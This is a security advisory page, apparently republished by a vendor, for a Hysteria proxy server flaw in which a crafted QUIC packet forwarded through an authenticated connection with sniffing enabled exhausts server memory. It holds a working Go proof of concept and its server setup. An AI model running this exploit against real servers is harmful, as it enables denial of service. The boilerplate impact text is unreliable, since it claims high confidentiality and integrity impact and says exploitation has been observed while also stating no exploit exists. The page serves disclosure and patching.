Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-9fw6-xgg2-mq9q
No affected components available
Summary
A specially constructed quic package can crash the server OOM when the sniff is enabled.
Details
When the server has sniff enabled, a valid connection can request the server to forward UDP traffic and construct a huge crypto length. The server will allocate memory according to this length, causing an OOM.
PoC
openssl req -x509 -newkey rsa:2048 -nodes -keyout localhost.key -out localhost.crt -days 365 -subj "/CN=localhost" 2>/dev/null
server.yaml
listen: :8443
tls:
cert: localhost.crt
key: localhost.key
auth:
type: password
password: mypassword
sniff:
enable: true
outbounds:
- name: my_direct
type: direct
default: true
poc.go
package main
import (
"flag"
"fmt"
"log"
"net"
"time"
"github.com/apernet/hysteria/core/v2/client"
)
func main() {
serverAddrStr := flag.String("server", "127.0.0.1:8443", "Hysteria server address")
password := flag.String("password", "mypassword", "Hysteria server password")
flag.Parse()
serverAddr, _ := net.ResolveUDPAddr("udp", *serverAddrStr)
c, _, err := client.NewClient(&client.Config{
ServerAddr: serverAddr, Auth: *password, TLSConfig: client.TLSConfig{InsecureSkipVerify: true},
})
if err != nil {
log.Fatalf("Failed to connect: %v", err)
}
defer c.Close()
var maliciousQUICPacket = []byte{
0xcb, 0x0, 0x0, 0x0, 0x1, 0x8, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x0, 0x0,
0x32, 0x1d, 0xa8, 0xd6, 0x3c, 0x51, 0x24, 0xb7, 0xbe, 0xf2, 0x91, 0x77, 0x1c, 0x9d, 0x66,
0xfc, 0xab, 0x91, 0x1e, 0xaf, 0xf9, 0x14, 0xd5, 0xec, 0xb0, 0x74, 0x46, 0x4f, 0x4, 0x70,
0x18, 0x35, 0x31, 0xc5, 0xea, 0x36, 0x40, 0x36, 0x65, 0xdf, 0xa4, 0xcc, 0xf9, 0xff, 0x65,
0xe5, 0x1d, 0xb7, 0xc5, 0xc2, 0xc2,
}
udpConn, err := c.UDP()
if err != nil {
fmt.Printf("[-] UDP error: %v\n", err)
}
targetAddr := fmt.Sprintf("8.8.8.8:443")
fmt.Printf("[*] Sending 'death' packet to %s...\n", targetAddr)
_ = udpConn.Send(maliciousQUICPacket, targetAddr)
// Wait longer to ensure packet delivery
time.Sleep(3 * time.Second)
fmt.Printf("[+] Done.\n")
}
Impact
When sniffing is enabled on the server, a user with a valid password can launch an attack that could cause the server to run out of memory (OOM).
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
Probability that this vulnerability will be exploited in the wild within the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard